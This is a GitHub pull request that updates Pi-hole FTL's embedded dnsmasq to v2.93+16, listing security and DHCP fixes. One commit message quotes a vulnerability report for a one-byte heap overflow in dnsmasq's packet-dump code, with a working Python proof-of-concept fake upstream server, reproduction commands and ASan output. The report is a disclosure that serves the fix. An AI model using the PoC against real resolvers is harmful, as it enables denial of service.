Skip to content

Update embedded dnsmasq to v2.93+16 - #3018

Open
DL6ER wants to merge 15 commits into
developmentfrom
update/dnsmasq
Open

Update embedded dnsmasq to v2.93+16#3018
DL6ER wants to merge 15 commits into
developmentfrom
update/dnsmasq

Conversation

@DL6ER

@DL6ER DL6ER commented Aug 9, 2026

Copy link
Copy Markdown
Member

What does this implement/fix?

Update the embedded dnsmasq to the current state of upstream master, which is 16 commits past v2.93. 13 of those commits touch src/ and are included here, the remaining three only change man/ and the CHANGELOG, neither of which we vendor. As there is no upstream tag for this state, DNSMASQ_VERSION becomes pi-hole-v2.93+16, following the +N scheme we already used for pi-hole-v2.92test10+2.

Highlights

Security

  • Information disclosure in the DNS error path. An oversight in f9f8d19b leaves a code path where a repeated query gets an error reply that discloses the ID we use towards upstream servers. An attacker who can trigger this path learns the ID, which makes Kaminsky cache-poisoning attacks considerably cheaper and more reliable. This affects the stable releases 2.91, 2.92, 2.92rel2 and 2.93. Thanks to Ronen Shustin from Project Atlas, Wiz for finding this. A follow-up commit extends the fix: other error paths (not reachable by an attack) returned an incorrect header->id as well, and most of them returned the wrong query case when --do-0x20-encode is in use.
  • Double-free in blockdata_expand(). The function already frees the block chain when it fails, but every caller ran its own blockdata_free() cleanup on the zero return, resulting in a double free and a crash.
  • File-descriptor leak in the TFTP code. A leaked descriptor per failed transfer eventually exhausts the process' descriptor limit.
  • CVE-2026-12969 has been allocated to the buffer OOB read in find_soa(). There is nothing to do for us: that fix is 14094e88 and was already released with v2.93, so the corresponding upstream commit is a CHANGELOG-only record.

Correctness

  • Forked TCP children now close the listening sockets they inherit. The children never use them, but keeping them alive in the kernel prevents the parent from re-binding when an interface goes away and comes back, which fails with EADDRINUSE. The parent already blocked on the pipe until the child had closed the netlink socket, and that handshake now covers the listening sockets too. A follow-up commit extends the same treatment to the route socket on *BSD.
  • The log file is only chowned if it is a regular file. Pointing log-facility at a device or a symlink no longer changes ownership of the target.
  • Fixed the logic that suppresses repeated warnings for bound interfaces, which suppressed too much and hid warnings for other interfaces.
  • Fixed the packet dump code, which wrote malformed records under some conditions.

New features

  • DHCPv6 vendor class support. OT_DHCP6_VENDOR is now implemented properly, so option 16 can be configured by name, e.g., --dhcp-option=option6:vendor-class,343,HTTPClient. Before, configuring it by name failed outright, and working around that with option6:16 produced a payload with an unintended string-length prefix instead of the fixed 4-byte enterprise ID RFC 3315 requires. This broke, among others, UEFI HTTP IPv6 boot.
  • DHCPv4 and DHCPv6 option configuration are consistent now. option4: is accepted as the explicit counterpart to option6:, and a numeric option is accepted after any of the prefixes, so option:6, option4:6 and option6:23 all work the way one would expect. Existing option: and option6: configurations are unaffected.

Cosmetic

  • A batch of typo fixes throughout the tree and a comment referring to a flag by its old name. No user-visible strings changed except for one re-indentation, which test/dnsmasq_warnings had to follow.

Notes for the merge

Two commits needed a manual resolution against our tree. Both touch the child branch of swap_to_tcp(), where we keep a Pi-hole modification that resets daemon->netlinkfd to -1 after closing it. Upstream moves the read_write() handshake out of the #ifdef HAVE_LINUX_NETWORK block and past the new socket-closing loop, so our reset stays with the netlink close inside the #ifdef, and the #elif defined(HAVE_BSD_NETWORK) branch is inserted after it. The result is identical to upstream apart from those two lines.

Upstream carries a latent build issue that we are not affected by and that I did not paper over: read_write(pipefd[0], &a, 1, RW_READ) is unconditional now, while unsigned char a is still declared under #ifdef HAVE_LINUX_NETWORK in both do_tcp_connection() and swap_to_tcp(). We always build with HAVE_LINUX_NETWORK, so this only bites non-Linux builds. I will report it on dnsmasq-discuss.

How to test the change during review

  • Build and check that src/dnsmasq/ produces no new compiler warnings.
  • bash test/dnsmasq_warnings.sh has to pass. It diffs the LOG_WARNING call sites against test/dnsmasq_warnings and picks up the re-indentation mentioned above.
  • The full BATS suite in CI covers the rest, in particular test/test_final.bats, which fails on unexpected WARNING: lines in FTL.log.
  • For the DHCPv6 vendor class, configure dhcp-option=option6:vendor-class,343,HTTPClient and confirm the option is emitted with the 4-byte enterprise ID followed by a 2-byte length, e.g., in a pihole-FTL --dnsmasq-debug capture.
  • For the option parsing rework, confirm that existing option:/option6: configurations still parse, and that option4: is accepted.

Related issue or feature (if applicable): N/A

Pull request in docs with documentation (if applicable): N/A


By submitting this pull request, I confirm the following:

  1. I have read and understood the contributors guide, as well as this entire template. I understand which branch to base my commits and Pull Requests against.
  2. I have commented my proposed changes within the code.
  3. I am willing to help maintain this change if there are issues with it later.
  4. It is compatible with the EUPL 1.2 license
  5. I have squashed any insignificant commits. (git rebase)
  6. My change does not modify src/dnsmasq/. That tree is a verbatim copy of upstream dnsmasq and we do not carry anything in it that deviates from upstream. Fixes have to go through the dnsmasq-discuss mailing list first, we merge them once they are in dnsmasq master.

Checklist:

  • The code change is tested and works locally.
  • I based my code and PRs against the repository's development branch.
  • I signed off all commits.
  • I signed all my commits.
  • I have read the above and my PR is ready for review.

simonkelley and others added 15 commits August 9, 2026 08:58
If blockdata_expand() fails, it frees the existing block chain
and returns zero. Each call to blockdata_expand() checks for the zero return,
and calls blockdata_free() as part of its clean-up, resulting in
a double-free and crash.

Thanks to fallrig for finding this.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Implement the OT_DHCP6_VENDOR option type to properly handle the
DHCPv6 Vendor Class option (code 16) according to RFC 3315.

Previously, this option was marked as OT_INTERNAL, causing dnsmasq
to fail immediately if configured by name. Bypassing this block by
using the numerical option format (option6:16) caused the payload
to be formatted with an unintended string-length prefix. This broke
compliance because the RFC requires a fixed 4-byte Enterprise ID
at the beginning of the option, followed by data blocks.

This byte misalignment broke features like UEFI HTTP IPv6 Boot

This patch removes the OT_INTERNAL restriction and moves the formatting
logic to the parser phase, correctly assembling the wire-format layout
(4-byte ID + 2-byte chunk length + string) so it can be injected
directly into the network buffer.

Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
Signed-off-by: DL6ER <dl6er@dl6er.de>
An oversight in commit f9f8d19bf5f636d2313b69399c3c24b89b53bee6
leaves a code path where a repeat of a query gets an error reply
which discloses the id field used in interactions with upstream
servers ro get an answer to the query. By triggering this
code path, an attacker can determine the id, which makes Kaminsky
cache poisoning attacks much less expensive and much more certain.

This bug exists in stable releases 2.91, 2.92 2.92rel2 and 2.93

Thanks to Ronen Shustin from Project Atlas, Wiz for finding
this problem.

Signed-off-by: DL6ER <dl6er@dl6er.de>
On further analysis, the problem is deeper: Other
error paths (which are not accessible to an attack) can also
return an incorrect header->id value, and most error paths
return incorrect query case if --do-0x20-encode is in use.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Thanks to Metadust/Hamza (Github: @metadust)
for spotting this.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Thi specifically avoids bad behavior with --log-facility=/dev/null

Signed-off-by: DL6ER <dl6er@dl6er.de>
The immediate motivation for this is to fix a potential
one byte buffer overflow. The rewrite to fix that resulted in
better code, but no other behavioural changes.

Thanks to Omkhar Arasaratnam for finding the overflow. His
report is below.
------------------------------------------------------------

Summary
-------

When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one
byte past the end of the upstream-reply receive buffer whenever the reply it is
dumping has an odd byte length. do_dump_packet() pads the buffer for its
checksum computation with:

    if (len & 1)
      ((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */

packet here is the exact-sized receive buffer for the upstream reply, so index
[len] is one byte out of bounds. A malicious or compromised upstream nameserver
(or an on-path attacker able to spoof a UDP reply) that returns an odd-length
answer triggers the overflow on every dumped packet.

Affected code (built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c)
-------------------------------------------------------------------

- Sink: src/dnsmasq/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet()
- Reached via: dump_packet_udp() (src/dnsmasq/dump.c:120) <- reply_query()
  (src/dnsmasq/forward.c:1224) <- check_dns_listeners() <- main().

Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort
(remote DoS of the resolver) and latent 1-byte heap corruption in release builds.
Precondition: dumpfile/dumpmask enabled.

Reproduction
------------

PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply).

    # Build at HEAD with dumpfile support + ASan
    make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1"
    export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0

    python3 poc.py 2267 &          # odd length; 1497 also fires
    dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \
        --no-resolv --no-hosts --server=127.0.0.1#5354 \
        --dumpfile=/tmp/dump.pcap --dumpmask=0xffff
    # forward a query so the odd-length reply is dumped
    dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3

Evidence
--------

stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee:
WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet
src/dnsmasq/dump.c:243:36, ==ABORTING.

Suggested fix
-------------

Do not write into packet[len]; compute the odd-byte checksum contribution from a
local copy of the final byte, or allocate the receive buffer one byte larger for
the dump path. Alternatively pad into a scratch buffer rather than mutating the
received packet in place.

---- PROOF-OF-CONCEPT: poc.py ----
import socket, struct, sys

PORT = 5354
TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267  # odd

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', PORT))
s.settimeout(8.0)
print(f"[upstream] listening UDP/{PORT}", flush=True)

while True:
    try:
        data, addr = s.recvfrom(8192)
    except socket.timeout:
        print("[upstream] timeout, exiting", flush=True)
        break
    if len(data) < 12:
        continue
    qid = data[:2]
    header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3
    # echo the question section
    i = 12
    while i < len(data) and data[i] != 0:
        i += 1 + data[i]
    end_q = i + 1 + 4 if i < len(data) else len(data)
    qsec = data[12:end_q]
    body = header + qsec
    pad = TARGET_LEN - len(body)
    body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN]
    s.sendto(body[:TARGET_LEN], addr)
    print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True)
    break  # one-shot

---- CAPTURED OUTPUT (verbatim from the run) ----
Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c.
ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses,
offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim.

dnsmasq: started, version UNKNOWN cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile
dnsmasq: using nameserver 127.0.0.1#5354
dnsmasq: cleared cache
dnsmasq: dumping packet 1 mask 0x0001
dnsmasq: dumping packet 2 mask 0x0004
=================================================================
==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88
WRITE of size 1 at 0x61d000001d5b thread T0
    #0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dnsmasq/dump.c:243:36
    #1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dnsmasq/dump.c:120:8
    #2 0x55d1d86f0533 in reply_query <ROOT>/src/dnsmasq/forward.c:1224:3
    #3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq/dnsmasq.c
    #4 0x55d1d8709945 in main <ROOT>/src/dnsmasq/dnsmasq.c:1318:2
    #5 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
    #7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)

0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b)
allocated by thread T0 here:
    #0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
    #1 0x55d1d86c95ad in safe_malloc <ROOT>/src/dnsmasq/util.c:321:15
    #2 0x7fe839e29d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)

SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dnsmasq/dump.c:243:36 in do_dump_packet
Shadow bytes around the buggy address:
  0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa
  0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4200==ABORTING

EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the
right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply
from the fake upstream drives do_dump_packet's odd-length checksum pad write at
src/dnsmasq/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.

Signed-off-by: DL6ER <dl6er@dl6er.de>
When dnsmasq forks a child to handle a TCP connection, the child
inherits copies of all listening sockets.  These are never used but
keep the underlying sockets alive in the kernel.  If a network
interface is removed and re-added while a child is running, the
parent's attempt to re-bind fails with EADDRINUSE because the child
still holds a reference.

Close all listener fds (UDP and TCP) in the child immediately after
fork in both do_tcp_connection() and swap_to_tcp().

[Original patch extended by Simon Kelley to include the TFTP listening
socket, and to extend the existing race-protection scheme for the
netlink socket to the listening sockets. Any bugs are my responsibility.]

Signed-off-by: DL6ER <dl6er@dl6er.de>
This may not be necessary, as the socket doesn't revieve broadcasts,
but it can't hurt.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Corrected spelling errors in comments and function names:
- recieved/receive -> received/receive
- error_occured -> error_occurred
- prefered -> preferred
- wierd -> weird
- datastuctures -> datastructures
- explictly -> explicitly
- ouptut -> output
- arrising -> arising
- encapulation -> encapsulation
- scrips -> scripts
- adn-hosts -> addn-hosts
- removed repeated 'the the' in three comments

Generated by AI (opencode).

Signed-off-by: DL6ER <dl6er@dl6er.de>
Historically, DHCPv4 client options are configured as

dhcp-option=option:ntp-server,....
dhcp-option=42,....

DHCPv6 long ago added

dhcp-option=option6:sntp-server,....
dhcp-option=option6:31,....

This patch adds equivalents of this for DHCPv4

dhcp-option=option4:ntp-server,....
dhcp-option=option4:42,.....

and for good measure

dhcp-option=option:42,.....

and clarifies the man page.

Thanks to Martin-Éric Racine for pointing this out.

Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Copilot AI lite review requested due to automatic review settings August 9, 2026 08:12
@DL6ER
DL6ER requested a review from a team as a code owner August 9, 2026 08:12

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This pull request updates Pi-hole FTL’s embedded dnsmasq subtree to upstream master at v2.93+16, bringing in upstream security/correctness fixes and a couple of DHCP option parsing/formatting enhancements, plus the corresponding version/test adjustments in FTL.

Changes:

  • Bump embedded dnsmasq version to pi-hole-v2.93+16 and align warning-site expectations.
  • Pull in upstream fixes across forwarding/error handling, TCP child socket hygiene, TFTP transfer handling, and log-file permission logic.
  • Add/adjust DHCP option handling for DHCPv6 vendor class (option 16) and make option prefix parsing more consistent (option4:/option6:).

Reviewed changes

Copilot reviewed 16 out of 17 changed files in this pull request and generated 2 comments.

Show a summary per file
File Description
CMakeLists.txt Bumps DNSMASQ_VERSION to pi-hole-v2.93+16.
test/dnsmasq_warnings Updates expected warning callsite indentation to match upstream.
src/dnsmasq/blockdata.c Clarifies error-path comment in blockdata_expand().
src/dnsmasq/cache.c Renames helper to American spelling (error_occurred) and fixes a comment typo.
src/dnsmasq/dhcp-common.c Marks DHCPv6 vendor-class as a dedicated type and adds formatting logic.
src/dnsmasq/dnsmasq.c Ensures forked TCP children close inherited listening sockets (and related comments).
src/dnsmasq/dnsmasq.h Adds OT_DHCP6_VENDOR and minor typo fixes in comments.
src/dnsmasq/dump.c Refactors checksum calculation in packet dump code to avoid malformed output.
src/dnsmasq/forward.c Fixes retry/error-path behavior (ID/case restoration) and adjusts cleanup timing.
src/dnsmasq/lease.c Fixes a comment typo (“scripts”).
src/dnsmasq/log.c Limits chown/permission changes to regular log files only.
src/dnsmasq/network.c Fixes warning suppression logic and a spelling typo in a comment.
src/dnsmasq/option.c Improves DHCP option prefix parsing and adds DHCPv6 vendor-class payload encoding.
src/dnsmasq/radv.c Fixes a prototype parameter typo (preferred).
src/dnsmasq/rfc1035.c Avoids double-free by relying on blockdata_expand()’s failure cleanup.
src/dnsmasq/rfc3315.c Fixes comment typos and wording.
src/dnsmasq/tftp.c Fixes repeated-RRQ handling to abandon old transfers and improves limit enforcement.
Suppressed comments (1)

src/dnsmasq/dnsmasq.c:2341

  • Typo in comment: "finshed" -> "finished".
	     is sent by the child has finshed the close. */

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread src/dnsmasq/dnsmasq.c
Comment thread src/dnsmasq/dump.c
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

6 participants